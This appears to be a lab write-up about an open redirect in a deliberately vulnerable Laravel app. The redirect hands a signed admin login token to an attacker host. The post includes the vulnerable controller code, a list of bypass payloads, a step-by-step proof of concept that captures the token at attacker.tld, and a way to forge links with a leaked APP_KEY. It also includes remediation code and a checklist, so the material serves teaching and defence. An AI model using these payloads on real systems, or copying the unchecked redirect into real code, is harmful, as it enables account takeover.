CWE-601 · OWASP A01:2021 · Broken Access Control

ArtisanBreach's legacy contributor login has a "return to where you came from" feature. After you sign in, the app reads a next value straight from your request and redirects you there with redirect()->to($next). No host check, no allowlist, nothing. A plain open redirect is a phishing aid. This one is not plain. The same handler mints a five-minute signed login link and glues it onto that redirect as ?sso=.... Send a contributor /contributor-login?next=https://attacker.tld/collect, they log in on the real domain with their real password, and the app ships their login token straight to your server. You copy the link out of your access log, open it, and you are logged in as them. And the seeded contributor isn't some low-privilege user, Sarah Okonkwo carries the Administrator role. One query parameter, one click, full admin account takeover. The victim does all the authenticating; the app does all the leaking; you do none of the work.

Where This Sits in the Kill Chain

Same endpoint as Post 3. The contributor login (/contributor-login) is the deliberately weak, MD5-backed legacy auth path, and Post 3 already showed you can walk straight past it with a magic hash and a loose ==. This post isn't about getting in through that door. It's about what the door does after a legitimate contributor walks through it: it forwards them, and their fresh login token, to wherever the URL told it to.

So this is a client-side, victim-driven attack, closer in spirit to Post 7 (stored XSS) than to the server-side escalation chain. You aren't escalating your own privileges here. You're stealing someone else's authenticated session by getting them to click a link on a domain they already trust, and the someone is an admin. The payoff is the same "authenticated admin session" state Posts 1 and 3 grind toward, except you get there by borrowing a real user's credentials instead of forging your own.

There's also a second, lazier route into the same state that needs no victim at all, and it's a one-line cross-reference to Post 2. The signed link is only "unforgeable" if you don't have APP_KEY. Post 2 leaks APP_KEY. With it you can mint your own signed contributor.sso link for any user id, including the seeded admin, and skip the phishing step entirely. More on that below.

Kill chain

Post 8 hangs off Post 3 because they share the contributor endpoint, and there's a second edge from Post 2 because APP_KEY is a skeleton key for the signed handoff. The two routes in just differ on the target. Post 3 attacks the auth check to log yourself in. Post 8 leaves the check alone and abuses the redirect that runs on a successful login, so a real admin logs themselves in and unknowingly ships you the keys.

Vulnerability Classification

CWE CWE-601: URL Redirection to Untrusted Site (Open Redirect). User-controlled input is used as the target of a redirect with no validation.
OWASP Top 10 A01:2021 Broken Access Control. Unvalidated redirects and forwards are folded into this category in the 2021 list (they were their own entry, A10, in 2013).
Why it is more than "just" an open redirect A plain open redirect is a phishing aid. This one carries a freshly minted, replayable login token in the query string, so the redirect leaks a credential. That bumps it from Low/informational to a real account takeover primitive.
Authentication required None on the attacker's side. The attacker never logs in and never guesses anything. The victim authenticates with their own valid credentials through the crafted link, and the app does the leaking.
Who the victim is The seeded contributor, contributor@artisanbreach.com (Sarah Okonkwo), is associated with the Administrator role in UserSeeder, never demoted after the v1 import. The default victim is therefore an admin, not a random contributor. Steal her token and you walk straight through the can:isAdmin gate.
Severity note Critical in practice. The impact is a stolen admin session, achieved with one link to the app's own real login page. The only friction is getting the victim to click, and "hover the link before you click it" training is useless here because the host genuinely is the target's own domain. The off-site jump happens after the trusted page, on the redirect back. This is as convincing as credential phishing gets, and it returns a logged-in session rather than a password that can be rotated.

Not All Redirects Are Equal

Laravel gives you a few ways to send someone somewhere after an action. The difference between them is entirely about who controls the destination.

Safe: destination is fixed server-side
redirect()->route('dashboard');
redirect()->intended('/admin');
Unsafe: destination is whatever the user sent
redirect()->to($request->input('next'));
redirect()->away($request->input('next'));

route() resolves a name you defined in your route files, so the target is always one of your own pages. intended() looks safe-ish for a different reason: the URL it falls back to is the one Laravel stashed in url.intended when the auth middleware bounced an unauthenticated request, and that value comes from $request->url() on your own app, not from a query string you control.

to() and away() are the problem children. They happily accept a fully qualified absolute URL. Hand either of them https://attacker.tld and Laravel writes a Location: https://attacker.tld header and off the browser goes. There's no "is this my domain" check anywhere in the framework. That check is yours to write, and ArtisanBreach never wrote it.

The Vulnerable Code

The login handler on the legacy contributor endpoint. The credential check at the top is the Post 3 material. The part we care about is what runs right after Auth::login($user):

app/Http/Controllers/Auth/ContributorLoginController.php
public function login(Request $request): \Illuminate\Http\RedirectResponse
{
    $request->validate([
        'email'    => ['required', 'email'],
        'password' => ['required'],
    ]);

    $user = User::where('email', $request->email)
        ->whereNotNull('legacy_password')
        ->first();

    if ($user && md5($request->password) == $user->legacy_password) {
        Auth::login($user);

        // v1 CMS single-sign-on handoff: forward the contributor back to the
        // property they came from with a short-lived login token so they stay
        // authenticated across the old multi-domain setup.
        $handoff = URL::temporarySignedRoute('contributor.sso', now()->addMinutes(5), [
            'user' => $user->id,
        ]);

        $next = $request->input('next', '/admin');

        return redirect()->to($next.'?sso='.urlencode($handoff));
    }

    return back()->withErrors([
        'email' => 'These credentials do not match our contributor records.',
    ])->withInput($request->only('email'));
}

Two things in those few lines, and both bite.

First, $next = $request->input('next', '/admin') pulls the redirect target directly out of the request. It defaults to /admin if nothing is supplied, but the caller is free to supply anything, including an absolute URL to a domain that is not yours. It flows straight into redirect()->to() with no parse_url host check, no allowlist, no str_starts_with($next, '/') guard. That's the open redirect.

Second, URL::temporarySignedRoute() builds a five-minute signed URL to the contributor.sso route and it gets appended as ?sso=.... A signed URL is Laravel's tamper-proof link: the user, an expires timestamp, and a signature keyed on your APP_KEY. Nobody can forge one without the key. But nobody needs to forge it, because the app is about to give it away.

The next value rides through the login page as a hidden field, so a GET link carrying ?next= survives the POST:

resources/views/auth/contributor-login.blade.php
<form class="login_box" method="POST" action="{{ route('contributor.login.post') }}">
    @csrf

    <input type="hidden" name="next" value="{{ request('next') }}">

And the consumer route on the other end just logs in whoever shows up with a valid signed link:

routes/web.php
Route::get('/contributor-sso', [ContributorLoginController::class, 'sso'])
    ->name('contributor.sso')
    ->middleware('signed');
app/Http/Controllers/Auth/ContributorLoginController.php
public function sso(Request $request): \Illuminate\Http\RedirectResponse
{
    Auth::loginUsingId($request->query('user'));

    return redirect()->to('/admin');
}
The hidden field is escaped on purpose value="{{ request('next') }}" uses {{ }}, so the value is Html-encoded and you cannot break out of the attribute to inject markup. This is not the XSS bug from Post 7. The next value is dangerous only because of where it ends up (a Location header), not because it is rendered unsafely on the page. Know the boundary: here the sink is the redirect, not the template.

Why the sso Link Is a Loaded Gun

The whole attack hangs on one property of that contributor.sso route: it's a bearer credential. The signed middleware only checks that the signature is valid and the link hasn't expired. It doesn't check who's holding it. No "is this the same browser that requested it" check, no binding to the original session, no one-time-use flag. The link says "log in as user 2", it's cryptographically valid for five minutes, and anyone who opens it in any browser becomes user 2.

Normally that's fine, because the app only ever hands that link to the person who just proved they're user 2. The open redirect breaks exactly that assumption. It lets an attacker choose where the link gets delivered, and they pick their own server.

One more detail makes the replay trivially clean: the controller constructor registers the guest middleware for every action, so the sso route only serves logged-out visitors. That's not a hurdle, the attacker is logged out. It's the opposite of a defense: the app welcomes an anonymous browser, trades it the token for a full session, and asks no questions. Paste the stolen link into a clean incognito window and you're in.

Skip the Victim: Forge the Link With APP_KEY

The signed URL is "unforgeable" only so long as APP_KEY stays secret. Post 2 leaked it, so the signature protects nothing. It's an HMAC over the URL using APP_KEY, and Laravel hands you the exact helper to produce it. With the key in hand you don't need a contributor to click anything, you mint your own admin link and hand it to yourself:

// With APP_KEY from Post 2, sign a link for the seeded admin (id 1).
$link = URL::temporarySignedRoute('contributor.sso', now()->addMinutes(5), [
    'user' => 1,
]);

// GET $link  =>  ValidateSignature passes, sso() calls Auth::loginUsingId(1),
// and you land on /admin as the Administrator. No victim, no phish, no click.

This is the quiet part of the bug. The open redirect is the noisy, interactive vector. The APP_KEY forge is the silent one, and it turns "Post 2 gives you RCE as www-data" into "Post 2 gives you an authenticated admin session as a side effect." That's also why the fix here has to do more than just validate the redirect target: even with a perfect allowlist, a signed login link that is mintable by anyone holding the key, and replayable by anyone holding the link, is still a loaded gun.

The Payload Arsenal

next takes a raw string, so the whole redirect-bypass playbook is on the table. Here's the set that matters — for testing and for patching, because a sloppy fix only catches the first one:

https://attacker.tld/collect              // the obvious one
//attacker.tld/collect                    // protocol-relative, still absolute
/\\attacker.tld/collect                    // backslash, browsers normalise to //
https://app.artisanbreach.tld.attacker.tld // suffix confusion, not your host
https://attacker.tld#@artisanbreach.tld    // fragment/userinfo bait
%2F%2Fattacker.tld                         // double-encoded scheme-relative

Every one of these lands in Location and the browser follows it. None of these are exotic. Validating them correctly is the hard part. A str_contains($next, 'artisanbreach.tld') check matches the suffix-bait line and misses the rest. A str_starts_with($next, '/') check is bypassed by //attacker.tld because that still starts with a slash but is absolute. Only an exact allowlist of hosts (or refusing to accept URLs at all) survives all of them. The bug here is the lazy version: none of this validation exists, so every value works.

Proof of Concept

Prerequisites: none on your side. You need the seeded contributor to click a link, and somewhere to catch the redirect. Any request-logging endpoint works, a one-liner like php -S 0.0.0.0:9000 on a box you control, or a RequestBin-style catcher. The link points at the app's real login page, same domain, same TLS, and only the next param is yours.

Step 1 Craft the link. It points at the app's real login page, it just carries a next that is yours:
https://artisanbreach.tld/contributor-login?next=https://attacker.tld/collect
Step 2 Send it to Sarah. The page is the genuine login form on the genuine domain, TLS and all. She types her real password and submits.
Step 3 The app authenticates her, mints the signed login link, and redirects. Her browser follows a 302 to your server, token in tow:
HTTP/1.1 302 Found
Location: https://attacker.tld/collect?sso=https%3A%2F%2Fartisanbreach.tld%2Fcontributor-sso%3Fuser%3D2%26expires%3D1754999999%26signature%3D9f2c...
Step 4 Read it out of your access log and URL-decode the sso parameter:
https://artisanbreach.tld/contributor-sso?user=2&expires=1754999999&signature=9f2c...
Step 5 Open that link in a clean incognito window. The guest middleware waves you through, the signed middleware sees a valid signature, sso() calls Auth::loginUsingId(2), and you land on /admin as Sarah, an Administrator.

That's the entire attack. The victim sees a slightly odd redirect to a page that never loads, shrugs, and heads back to the site, still logged in and none the wiser. You have her session for as long as it lives.

The victim did all the work Every step that required a valid credential was done by the victim, on the real domain, with their real password. You never guessed anything, never bypassed the login, never touched their cookies. You just told the app where to deliver the token it was going to mint anyway. That's what makes an open redirect nasty: the app is the one leaking, and from the victim's point of view nothing looked wrong.

What the Stolen Token Actually Gets You

Session takeover

Replay the sso link and you are the victim. No password, no cookie theft, no MFA prompt. You are logged in as them for the life of the session.

Straight to admin

The seeded contributor is an Administrator, so the stolen session walks directly into /admin and everything behind the can:isAdmin gate. No pivot required.

Trusted-domain phishing

The link you send is the real domain. It survives "hover the link before you click it" training, because the host really is them. The redirect off-site happens after the trusted page.

The OAuth analogy

This is the same bug class that drains real OAuth flows: an unvalidated redirect_uri lets an attacker catch the code or token the provider appends. Same shape, same fix.

A comfortable window

The handoff link is valid for five minutes, plenty of time to replay it. And the session it grants outlives that.

Repeatable

Nothing about the attack burns out. Send the link to ten contributors, catch ten tokens. The endpoint keeps handing them out.

Persistence

Once you hold an admin session you do not have to keep re-phishing. Change the victim's email and password, register a fresh admin of your own (Post 1 is still open), or drop the Post 7 XSS and collect every future visitor's session. One steal, permanent access.

Silent

No failed logins, no brute-force noise, no cookie tampering. The access log on your own server is the only record, and it is yours. The victim's session looks perfectly normal from the app's side.

Remediation

The fixes that matter This is how you'd actually patch a real Laravel app. ArtisanBreach itself stays broken, that's the point of the lab, but the fixes below are what a real PR would land to close it.
Fix 1 Never redirect to raw user input. Resolve names, not URLs.

The cleanest fix is to stop accepting a URL from the user at all. If you need to remember where to send someone, remember a route name or a short key and map it server-side. The set of valid destinations is finite and defined by you:

$targets = [
    'admin'   => 'dashboard',
    'drafts'  => 'contributor.drafts',
    'profile' => 'contributor.profile',
];

$next = $targets[$request->input('next')] ?? 'dashboard';

return redirect()->route($next);

Now next=https://attacker.tld simply is not a key in the array, so it falls through to the default. There's no way to express an off-site destination.

Fix 2 If you truly need a return URL, allowlist the host.

Sometimes you genuinely have to bounce to another one of your own properties. Fine, but then validate the host against a known list and reject everything else. Also accept plain relative paths (they can never leave your origin):

$next = $request->input('next', '/admin');

$allowedHosts = ['app.artisanbreach.tld', 'blog.artisanbreach.tld'];
$host = parse_url($next, PHP_URL_HOST);

$isSafe = $host === null              // relative path, stays on-origin
    || in_array($host, $allowedHosts, true);

return redirect()->to($isSafe ? $next : '/admin');

Watch the edges: attackers love //attacker.tld (protocol-relative, parse_url reads the host correctly, good), backslash tricks like /\attacker.tld, and https://app.artisanbreach.tld.attacker.tld (suffix, not a match, good). An exact in_array host match handles all of these; sloppy str_contains($next, 'artisanbreach.tld') does not.

Fix 3 Keep bearer tokens out of URLs, and out of redirects entirely.

The redirect target was only half the problem. The other half is that a replayable login token was traveling in a query string in the first place. Even with a perfect allowlist, a token in a URL leaks through browser history, server logs, and the Referer header. If a cross-property handoff really is required, bind it to the session that requested it and make it single-use, so a copied link is useless in anyone else's browser:

// mint: tie the token to the current session, mark it unused
$token = Str::random(64);
cache()->put("sso:$token", [
    'user'    => $user->id,
    'session' => session()->getId(),
], now()->addMinutes(1));

// consume: valid once, only from the same session
$data = cache()->pull("sso:$token");
abort_unless($data && hash_equals($data['session'], session()->getId()), 403);
Auth::loginUsingId($data['user']);

That single-use, session-bound token also defuses the APP_KEY forge from the Post 2 cross-reference: a forged link would still be worthless without the exact session id it was minted for, and cache()->pull() burns it on first use so a copied link is dead on arrival.

For defense in depth, set a Referrer-Policy: strict-origin-when-cross-origin header so sensitive URLs stop bleeding into the Referer of off-site requests. It will not save you from a redirect that hands over the token on purpose, but it closes the passive leak.

Remediation Checklist

Grep the codebase for every redirect()->to( and redirect()->away( and trace the argument. If any of them can reach user input (query string, form field, route param, Referer), you have an open redirect. Fixed-string and redirect()->route() calls are fine.
Prefer mapping a user-supplied key to a server-side route name over accepting a URL. If you must accept a return URL, allowlist the host with an exact in_array match and allow bare relative paths. Never use substring matching to "validate" a host.
Keep credentials out of URLs. Login tokens, reset tokens, and OAuth codes in a query string leak through history, logs, and Referer. Deliver them in a way that a redirect cannot forward.
Make any handoff token single-use and bound to the session that requested it, so a copied link cannot be replayed from another browser, and so a leaked APP_KEY cannot mint a working link on its own.
Set a Referrer-Policy header (strict-origin-when-cross-origin or stricter) as defense-in-depth against passive token leakage.
Remember this is the same bug that breaks OAuth. If you run any redirect-based flow, treat redirect_uri as a strict allowlist, never a prefix or substring check.